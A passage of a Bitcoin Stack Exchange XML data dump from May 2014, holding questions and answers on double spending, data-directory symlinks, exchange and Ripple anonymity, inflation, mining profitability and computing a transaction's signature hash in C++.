  <row Id="25360" PostTypeId="1" CreationDate="2014-05-15T11:51:34.167" Score="2" ViewCount="798" Body="&lt;p&gt;A standard Bitcoin transaction deposits coins into an address and then, using Bitcoin's scripting language, states that whoever wants to spend this output must be in possess of the private key corresponding to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's possible to deviate from this base template to create more complex transactions, where other conditions must be met in order to spend the transaction output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create a transaction where a sum is deposited into an address, but only the owner of &lt;em&gt;another&lt;/em&gt; private key is allowed to spend it? I'm not a Bitcoin scripting expert, but this looks at least possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, can such a crafted transaction be used to mount a double-spending attack, where address A sends sum X to address B, but after the transaction is completed address A retains ownership of the sum and can send it elsewhere, while address B can actually do nothing about it even if the sum is credited to its balance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would a standard wallet treat such a transaction? Would it even recognize there's something strange going on, or would it blindly display that X BTC entered address B, regardless of the transaction script?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Sorry, I was misled by how sites such as &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; display transactions: a transaction doesn't actually contain any &quot;output address&quot;, it only contains outputs which state the conditions necessary to spend them; the &quot;output address&quot; is computed by checking which address's signature is requested by the output script; thus it's impossible to &quot;send money to address B&quot; without actually placing address B in the output script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the question somewhat remains: could a transaction be crafted to fool a wallet into telling its user &quot;I received X BTC&quot; while someone else can actually claim the sum using another private key?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2014-05-15T15:18:17.390" LastActivityDate="2014-05-17T11:43:36.337" Title="Can Bitcoin scripting be used for double spending attacks?" Tags="|transactions|script|doublespend|signature|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25361" PostTypeId="2" ParentId="9259" CreationDate="2014-05-15T12:11:29.730" Score="0" Body="&lt;p&gt;That didn't quite work at first for me because some linux distros don't seem to like creating a symbolic link named “.bitcoin”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a symbolic link named “test” in my home directory and then renamed that to “.bitcoin”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using bitcoin-qt in Xubuntu12.04, this did not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ln -s /new/path/to/.bitcoin .bitcoin &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Did work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;exited bitcoin-qt&lt;/li&gt;&#xA;&lt;li&gt;moved “.bitcoin” to another partition&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;created a valid symbolic link to there named “test”&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ln -s /new/path/to/.bitcoin test&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;renamed “test” to “.bitcoin”&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15787" LastEditorUserId="6218" LastEditDate="2015-05-19T18:26:46.287" LastActivityDate="2015-05-19T18:26:46.287" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25364" PostTypeId="1" AcceptedAnswerId="25393" CreationDate="2014-05-15T13:59:07.467" Score="1" ViewCount="646" Body="&lt;p&gt;The common practice for cryptocoins like Bitcoin is to limit address reuse to preserve anonymity. This is achieved by sending the &quot;change&quot; of a transaction to another address and using a unused address for every transaction. (Research showed that even when best practices are used identities could be derived but that's not the point here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ripple wiki documents something about an &lt;a href=&quot;https://ripple.com/wiki/Account_Family&quot; rel=&quot;nofollow&quot; title=&quot;Account family&quot;&gt;Account Familiy&lt;/a&gt; which seems comparable with Bitcoins deterministic wallets as decribed in BIP0032. However the Ripple system requires a fee for account-activation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using an account family how does one activate such account and how does (I presume) &lt;code&gt;rippled&lt;/code&gt; know that an account from a family is activated? &lt;/p&gt;&#xA;" OwnerUserId="15792" LastEditorUserId="15792" LastEditDate="2014-05-17T14:14:52.350" LastActivityDate="2014-05-17T14:14:52.350" Title="How to preserve anonymity within Ripple?" Tags="|ripple|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25365" PostTypeId="1" AcceptedAnswerId="25366" CreationDate="2014-05-15T13:59:25.370" Score="3" ViewCount="559" Body="&lt;p&gt;I'm new to Bitcoin and I have a few questions about Bitcoin Exchange and how the transactions work. To be more specific, the question is related about the level of anonymity of these transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) When I want to sell bitcoin through a Bitcoin Exchange, do I have to transfer the bitcoin to a Bitcoin Wallet created by the Exchange and related to my account on the Exchange, or I have just to &quot;connect&quot; my Bitcoin wallet to the account on the exchanger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) And when I will sell the bitcoin, the transaction will be displayed on the Blockchain right?&#xA;But can this transaction be identified as a transaction made on a Bitcoin Exchange or not? (So that someone can know that I've just sold my bitcoin through an Exchange).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Last question: It would be a good idea to access to a Bitcoin Exchange through a proxy chain (Or just a proxy server) to gain more anonymity? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any answer! :)&lt;/p&gt;&#xA;" OwnerUserId="15788" LastActivityDate="2019-10-06T00:02:10.503" Title="Bitcoin Exchanges and Anonymity" Tags="|exchanges|privacy|sell-bitcoins|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25366" PostTypeId="2" ParentId="25365" CreationDate="2014-05-15T14:08:20.100" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) When I want to sell bitcoin through a Bitcoin Exchange, do I have&#xA;  to transfer the bitcoin to a Bitcoin Wallet created by the Exchange&#xA;  and related to my account on the Exchange, or I have just to &quot;connect&quot;&#xA;  my Bitcoin wallet to the account on the exchanger?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You'll have to transfer the bitcoins you want to sell to the wallet of the exchange. Each exchange implements a bitcoin wallet for every user within their system, and you can transfer money in and out of this wallet as if it were yours - please be cautious about storing large sums of bitcoins on the exchange wallet, because most exchanges have the private key of this wallet and could do whatever they want with the money on it. You have to trust the exchange to store your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) And when I will sell the bitcoin, the transaction will be displayed&#xA;  on the Blockchain right? But can this transaction be identified as a&#xA;  transaction made on a Bitcoin Exchange or not? (So that someone can&#xA;  know that I've just sold my bitcoin through an Exchange).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since it's a bitcoin transaction, it will appear on the blockchain. A third-party can't tell it came from your specific exchange wallet. A third-party can probably only tell it came from your exchange, but can't tell it came specifically from you. Only the exchange knows you sold those coins. Obviously if the exchange database is breached (hint: NSA) then they can tell that you've sold those bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3) Last question: It would be a good idea to access to a Bitcoin&#xA;  Exchange through a proxy chain (Or just a proxy server) to gain more&#xA;  anonymity?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really. The exchange has your bank information and knows your identity. They don't expose the information to the public as I said earlier, but if someone gains access to their database, they can still tell that you've sold those bitcoins. Therefore accessing the exchange website through a proxy won't gain you much anonymity because they still have your banking details and know who you are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand you're trying to sell bitcoins anonymously, but with the current way exchanges work (they need to prove your identity) this is actually quite hard to achieve. At least full-anonymity. If you're just worried about a third-party seeing that you've made a transaction, it will be quite hard for them to understand your identity unless they have access to the exchange database.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-05-15T14:14:13.250" LastActivityDate="2014-05-15T14:14:13.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25368" PostTypeId="1" AcceptedAnswerId="25371" CreationDate="2014-05-15T15:03:02.530" Score="2" ViewCount="162" Body="&lt;p&gt;As bitcoins are mined are older bitcoins retired? If not, how is monetary inflation prevented? Wouldn't the additional bitcoins cause the overall value of bitcoins to be deflated? &lt;/p&gt;&#xA;" OwnerUserId="15794" LastEditorDisplayName="user5107" LastEditDate="2014-05-15T15:59:38.147" LastActivityDate="2014-06-15T07:52:41.200" Title="How are new bitcoins created without monetary inflation?" Tags="|economic-theory|inflation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25370" PostTypeId="2" ParentId="25360" CreationDate="2014-05-15T15:07:01.030" Score="3" Body="&lt;p&gt;What you're describing is a contradiction of terms. If a sum of money is deposited into an address, that means that &lt;em&gt;only&lt;/em&gt; that address's private key can spend the money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you could craft a non-standard transaction and tell people it's giving address B's owner permission to spend it, but if people look closely enough at the transaction, they'll be able to tell that it's really address C (and not B)'s owner that can spend it. There's no way around this: the transaction output is public, as is the implementation of how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the question is: can you fool software X with a non-standard transaction? Perhaps, it would depend on finding a bug (or other less-than-ideal situation) in the software in question. (for example, if you craft a transaction that can be spent by address B or C, maybe the wallet owning B will say it has the balance, and if he doesn't transfer it again before you do, then you can &quot;steal back&quot; the money that way) However, I'd treat any non-standard transactions as highly suspect.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-15T15:07:01.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25371" PostTypeId="2" ParentId="25368" CreationDate="2014-05-15T15:21:55.330" Score="3" Body="&lt;p&gt;Bitcoins are created at a &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_supply&quot; rel=&quot;nofollow&quot;&gt;predetermined rate&lt;/a&gt;. Until this rate drops to 0 (around the year 2140), the supply of bitcoins is increasing. If this isn't offset by destroyed/lost coins and increased demand, some amount of inflation will occur. However, I'd expect the inflation rate to be low (if positive at all), and getting lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once all ~21 million bitcoins are mined, no more will ever exist, so inflation will cease entirely, and only deflation can occur (again, as bitcoins are lost or intentionally destroyed). There are currently &lt;a href=&quot;https://blockchain.info/charts/total-bitcoins&quot; rel=&quot;nofollow&quot;&gt;~12.7 million&lt;/a&gt; bitcoins in existence, so at most, inflation will make 1 bitcoin today worth ~1.65 bitcoins in the future.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-15T15:21:55.330" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25372" PostTypeId="1" CreationDate="2014-05-15T17:01:32.807" Score="1" ViewCount="222" Body="&lt;p&gt;I am restoring a backup of my Bitcoin Core wallet on a new PC. I downloaded the complete &lt;code&gt;bootstrap.dat&lt;/code&gt; and placed it in &lt;code&gt;~/.bitcoin&lt;/code&gt;. I thought using the bootstrap would make things faster, but importing from disk seems just as slow. Oh well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, currently Bitcoin Core has imported blocks through Jan 2014. I made bitcoin transactions after Jan 2014 that aren't reflected in my wallet. That is to say, I have a higher balance available in my wallet than I really should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could I double spend these coins by sending them to another bitcoin address that I own?&lt;/p&gt;&#xA;" OwnerUserId="15754" LastActivityDate="2014-05-17T11:06:29.637" Title="Can someone explain double spending to me?" Tags="|bitcoin-core|doublespend|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25373" PostTypeId="2" ParentId="25372" CreationDate="2014-05-15T17:12:49.437" Score="3" Body="&lt;p&gt;No you cannot. When you try to send a transaction to the chain which is not allowed by the chain (so sending more coins then you own) results in a invalid transaction. The case now is that your program didn't process your recent transactions, and therefor thinks that there are more bitcoin in your wallet then there really are. Otherwise it would be far to easy to doublespend: just reinstall Bitcoin Core and have a wallet which held a lot of BTC prior a specific date. If you are interested in reading more about doublespending (which I think you are not, just wanted to know if you were possible right now) you can read &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-05-15T17:12:49.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25374" PostTypeId="1" CreationDate="2014-05-15T18:51:56.290" Score="2" ViewCount="4909" Body="&lt;p&gt;I have a friend who tells me she mines $40 worth of PPC per day per machine.  She has around 5  Cointerra ASIC servers working all day long.  One server is part of a pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know enough about the rates.  But to me, it sounds very unlikely.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this, in fact, possible?&lt;/p&gt;&#xA;" OwnerUserId="15796" LastEditorUserId="5406" LastEditDate="2016-04-25T19:27:19.530" LastActivityDate="2016-04-25T19:27:19.530" Title="$40 of peercoin mined per day: possible?" Tags="|mining-profitability|peercoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25375" PostTypeId="1" CreationDate="2014-05-15T18:57:57.250" Score="3" ViewCount="91" Body="&lt;p&gt;How do you think the neutrality act that is being talked about as I write this post will affect the Bitcoin community. Not only in transactions, but mining, how will it affect Bitcoin economically with users and miners alike all on the same network? Can someone give the pros/cons to this question. Also, how could this propel bitcoin positively in anyway? This could affect the whole world but I feel like it could have a huge affect on Bitcoin more than what people think. &lt;/p&gt;&#xA;" OwnerUserId="15795" LastEditorUserId="5406" LastEditDate="2016-04-01T09:13:52.190" LastActivityDate="2016-04-01T09:13:52.190" Title="How will the new Internet Neutrality Act affect Bitcoin?" Tags="|bitcoind|blockchain|client|network|politics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25378" PostTypeId="2" ParentId="25374" CreationDate="2014-05-15T20:08:19.953" Score="2" Body="&lt;p&gt;It would take &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;around 1.6 TH/s&lt;/a&gt; to mine that as BTC and then exchange it, or 2 TH/s to mine &lt;a href=&quot;http://www.coinwarz.com/calculators/peercoin-mining-calculator/?h=2000&amp;amp;p=500.00&amp;amp;pc=0.10&amp;amp;pf=0.00&amp;amp;d=172827508.00576200&amp;amp;r=87.20740256&amp;amp;er=0.00470000&amp;amp;btcer=448.57000000&amp;amp;hc=0.00&quot; rel=&quot;nofollow noreferrer&quot;&gt;that much PPC&lt;/a&gt; (not counting minting the PPC that you're mining, which is supposed to work out to 1% per year).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cointerra sells a &lt;a href=&quot;https://cointerra.com/product/terraminer-iv-1-6-ths-bitcoin-miner/&quot; rel=&quot;nofollow noreferrer&quot;&gt;1.6 TH/s miner&lt;/a&gt; for $3,500. With this $17,500 investment (plus any computers, electricity, maintenance, time, etc. associated with that), yes, she is mining $200/day on average currently (but ever-decreasing as the difficulty goes up), subject to market volatility. If only one is part of a pool and the rest are solo mining, that means she's taking the chance that she might never get anything of value from those 4 servers. That is a pretty high stakes &lt;a href=&quot;https://bitcoin.stackexchange.com/a/25244/12034&quot;&gt;gamble&lt;/a&gt;, if you ask me.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-05-15T20:14:17.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25379" PostTypeId="2" ParentId="25375" CreationDate="2014-05-15T23:30:22.353" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The Internet is a vital platform for innovation, economic growth and&#xA;  free expression in America. And yet, despite two prior FCC attempts,&#xA;  there are no rules on the books to prevent broadband providers from&#xA;  limiting Internet openness by blocking content or discriminating&#xA;  against consumers and entrepreneurs online.&#xA;  —Protecting and Promoting the Open Internet May 15, 2014 fcc.gov&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's a possibility that Internet Service Providers discriminate against bitcoin traffic either by making it more difficult, setting limits, charging a toll, or by blocking it altogether. This could prevent nodes from relaying transactions and relaying blocks, either of which would undermine the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prodigiously talented members of the community would no doubt come up with  workarounds, perhaps ways of obfuscating bitcoin related traffic. This could possibly result in an arms race. It could ultimately drive the bitcoin community to build its own network which some have already proposed.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2014-05-15T23:30:22.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25381" PostTypeId="1" CreationDate="2014-05-15T23:42:07.007" Score="4" ViewCount="1019" Body="&lt;p&gt;Discrete Markov chains have been used to approximate the probability distributions in games of chance in order to improve odds and do predictions e.g. winning numbers in a lottery. As long as the lottery,card game etc. meets certain conditions this will work or else the probability distribution will drift rendering the prediction useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Competing to find a nonce during mining is kind of like a lottery. Therefore theoretically Markov chains could be used to improve bitcoin mining as long as it satisfies conditions for discrete Markov chains. Has anyone ever explored this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Andrew&lt;/p&gt;&#xA;" OwnerUserId="15799" LastActivityDate="2014-05-16T02:07:06.613" Title="Usage of Markov chains to improve bitcoin mining" Tags="|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25382" PostTypeId="1" AcceptedAnswerId="25448" CreationDate="2014-05-15T23:53:44.177" Score="5" ViewCount="4872" Body="&lt;p&gt;In the ECDSA algorithm, the Bitcoin private key is supposedly a point on the graph (or is it?).  But the private key is a single integer, and not x,y coordinates.  Is the integer, by itself, the x value or the y value?  If it is x, then what is y? If it is y, then what is x?&lt;/p&gt;&#xA;" OwnerUserId="15552" LastActivityDate="2019-03-04T10:03:31.543" Title="Bitcoin private key, location on ECC curve" Tags="|development|protocol|ecdsa|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25383" PostTypeId="1" CreationDate="2014-05-16T00:40:17.677" Score="7" ViewCount="3441" Body="&lt;p&gt;Simply: who are Alice and Bob, and why are they mentioned in every Bitcoin-related article I read about that talks about Bitcoin transactions?&lt;/p&gt;&#xA;&lt;p&gt;What is the history or mystery of these two?&lt;/p&gt;&#xA;" OwnerUserId="15800" LastEditorUserId="5406" LastEditDate="2020-12-03T16:30:15.770" LastActivityDate="2020-12-03T16:32:22.503" Title="Who are Alice and Bob?" Tags="|terminology|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25384" PostTypeId="2" ParentId="25383" CreationDate="2014-05-16T01:56:32.090" Score="6" Body="&lt;p&gt;Fictional characters. Cryptography (and other) books use names like that often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Alice_and_Bob&quot;&gt;http://en.wikipedia.org/wiki/Alice_and_Bob&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15695" LastActivityDate="2014-05-16T01:56:32.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25385" PostTypeId="1" CreationDate="2014-05-16T02:05:05.960" Score="0" ViewCount="767" Body="&lt;p&gt;For example, instead of using my laptop to run bitcoind...how can I run bitcoind on a smartphone to create a light bitcoin wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand hashing may drain battery, but is this possible? If so how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read somewhere a client is considered &quot;light&quot; if it doesn't download the whole blockchain, but just communicates by sending headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15632" LastActivityDate="2014-05-16T12:18:21.600" Title="How to Create a Light Wallet and Light Bitcoin Node, and run it on Mobile?" Tags="|wallet|bitcoind|mobile|" AnswerCount="1" CommentCount="1" ClosedDate="2014-05-20T23:21:16.027" ContentLicense="CC BY-SA 3.0" />
  <row Id="25386" PostTypeId="2" ParentId="25381" CreationDate="2014-05-16T02:07:06.613" Score="8" Body="&lt;p&gt;A Markov chain is a mathematical model for a random process that has only short-term dependence on its history: if you know the current state of the system (or perhaps its recent history), any further historical information will not improve any predictions about its future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be a useful model for analyzing a (flawed) lottery in which there is some dependence between today's number and tomorrow's; it could help you determine the nature of that dependence, and let you use today's number to make a prediction about tomorrow's number that would improve your chances of winning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in a truly fair and random lottery, no such dependence should exist.  Each number should be chosen in a manner that is not biased or affected in any way by past numbers.  In such a case, a prediction based on a Markov chain would be no better than a random guess; and indeed, given enough data, Markov chain techniques would tend to confirm that there is no dependence.  (In the short term, such techniques might appear to detect some dependence, but this would be erroneous.)  So if the lottery is in fact fair, you can't improve your odds using a Markov chain analysis or any other method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that the cryptographic community believes, based on all current evidence, that the Bitcoin mining algorithm behaves like a fair lottery.  Of course, the output of the SHA256 hash function does in fact depend on its input data, but it is believed that there is no computationally feasible way  to describe or gain information about this dependence short of actually computing the function.  If so, then SHA256 outputs are effectively independent of their inputs, and past history of Bitcoin hashing gives you no useful information about the future; it does not help you improve your odds compared to trying nonces in sequence or at random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you, or anyone else, is able to &quot;improve Bitcoin mining&quot; via Markov chain techniques, or any other method, it would mean that SHA256 is seriously flawed and should be abandoned.  Fortunately, as far as I know, there is no evidence to suggest that this is the case.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-16T02:07:06.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25387" PostTypeId="1" CreationDate="2014-05-16T03:05:25.867" Score="1" ViewCount="2964" Body="&lt;p&gt;I get it that the &quot;OP_CHECKSIG&quot; does this, but I can't see how to recreate it.  I tried SHA1 and SHA256 of some of the info in a given bitcoin transaction but it didn't give me confirmed values of Z.  Can someone please select a transaction, tell me which one it is and show me what I need to cut and paste into a SHA1 calculator to get the actual Z value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hash value of TX 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1 is supposed to be z = c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e&#xA;and also z = 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc but I do not see how the z values are achieved.&lt;/p&gt;&#xA;" OwnerUserId="15552" LastEditorUserId="15552" LastEditDate="2014-05-16T03:40:10.080" LastActivityDate="2014-05-16T13:22:04.953" Title="How to get the Z value aka Hash of the outputs to be signed" Tags="|transactions|protocol|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25388" PostTypeId="2" ParentId="25385" CreationDate="2014-05-16T12:18:21.600" Score="0" Body="&lt;p&gt;If you're looking to mine on your phone, it's literally useless. The hashing power on these devices is so low that you'd probably need a very large amount of phones (around the thousands) to reach the hashing power of a single ASIC machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, storage is an issue because a Bitcoin node needs all of the blockchain data (around 17gb as of today), so you'd need a high-end phone that has a large amount of disk space.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-05-16T12:18:21.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25389" PostTypeId="2" ParentId="25387" CreationDate="2014-05-16T13:22:04.953" Score="1" Body="&lt;p&gt;0) read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3374/how-to-redeem-a-basic-tx&quot;&gt;How to redeem a basic Tx?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) take your transaction as array of bytes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) replace all input scrips to empty scrips&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) replace one input script to original &quot;OP_DUP OP_HASH160...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) append &quot;hash code type&quot; SIGHASH_ALL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) take sha256 ( sha256 ( data ) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that's all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look on my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const MyKey32 Transaction::getRawHash ( const int n, const QByteArray&amp;amp; scr ) const&#xA;{&#xA;  MyByteArray ret;                                    // create empty array&#xA;  Stream stream ( s );&#xA;  ret.putInt32 ( stream.readU32 ( ) );                // version&#xA;  ret.putVarInt ( stream.readVar ( ) );               // input count&#xA;  for ( int i ( 0 ); i &amp;lt; inputs; i++ )                // copy all inputs&#xA;  {&#xA;    ret.append ( stream.readHash ( ) );&#xA;    ret.putInt32 ( stream.readU32 ( ) );&#xA;    stream.skipVarData ( );                            // skip original script&#xA;    ret.putPrefixed ( i == n ? scr : QByteArray ( ) ); // !!! script replacement&#xA;    ret.putInt32 ( stream.readU32 ( ) );&#xA;  }&#xA;  ret.putVarInt ( stream.readVar ( ) );                // output count&#xA;  for ( int i ( 0 ); i &amp;lt; outputs; i++ )                // copy all outputs byte-by-byte&#xA;  {&#xA;    ret.putInt64 ( stream.readU64 ( ) );&#xA;    ret.putPrefixed ( stream.readVarData ( ) );&#xA;  }&#xA;  ret.putInt32 ( stream.readU32 ( ) );                 // lock&#xA;  ret.putInt32 ( SIGHASH_ALL );                        // !!! append hashcode&#xA;  return MyKey32 ( ret.constData ( ), ret.size ( ) );  // create hash256 of array&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-05-16T13:22:04.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25392" PostTypeId="1" CreationDate="2014-05-16T15:12:32.697" Score="2" ViewCount="110" Body="&lt;p&gt;If I receive a Bitcoin payment, and do not have any other information about the sender, can I refund the payment with a decent degree of reliability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current state of things is that the general problem didn't have a catch all solution, but blockchain.info wallets, and I believe coinbase as well, allows you to send the tx back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How reliable are blind refunds in practice?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-05-16T22:00:58.520" Title="Can I do blind refunds relatively reliably?" Tags="|transactions|coinbase.com|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25393" PostTypeId="2" ParentId="25364" CreationDate="2014-05-16T16:12:19.200" Score="3" Body="&lt;p&gt;Note, anonymity &lt;a href=&quot;https://ripple.com/wiki/FAQ#How_does_Ripple_handle_privacy.3F&quot; rel=&quot;nofollow&quot;&gt;isn't a design goal for ripple&lt;/a&gt;. Depending on the level of pseudo-anonymity required, gateway and future features of Ripple would likely be easier (and more cost effective) than using many Ripple addresses (aka Ripple accounts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To tell if two (or more) Ripple addresses are in the same family you need the &lt;a href=&quot;https://ripple.com/wiki/Account_Family&quot; rel=&quot;nofollow&quot;&gt;public generator&lt;/a&gt; (which is named for generating the public keys, it should not be made public). Without that no one can tell if they are part of the same family and therefore they are funded/activated independently exactly like any other address is (someone sends it the XRP account reserve).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any Ripple client that currently implements account families (the existing clients just use the public and private ECDSA key corresponding to &lt;code&gt;index 0&lt;/code&gt; within the account family).&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-05-16T16:12:19.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25394" PostTypeId="2" ParentId="18812" CreationDate="2014-05-16T16:13:34.957" Score="1" Body="&lt;p&gt;&lt;strong&gt;What is Bitcoin mining? (Short Version in Layman Terms)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the Bitcoin network, there is lottery held every 10 minutes. And in this lottery you have to submit guesses to the network, just like how you would buy a lottery ticket with a set of numbers. In a real lottery you might have 6 digits to guess, but in Bitcoin mining you can think of it as 1 million digits you have to guess. A human would not be able to guess this, so this is where a computer comes in and submits billions and trillions of guesses within these 10 minutes. Which every computer guesses correctly wins the Bitcoins. Currently the reward is 25 Bitcoins every 10 minutes. I left out 99% of the technical jargon that most Bitcoiners try to throw in when explaining this process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is Bitcoin mining? (Long Technical Version)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fundamental basis to know before getting into mining is the fact that there will only ever be 21 million bitcoins that can be mined. They come into existence every 10 minutes at 25 Bitcoins at a time. Once all the Bitcoins are mined, the year will be 2140 (126 years from today). In addition, every 4 years the 25 Bitcoin reward is halved. So when we 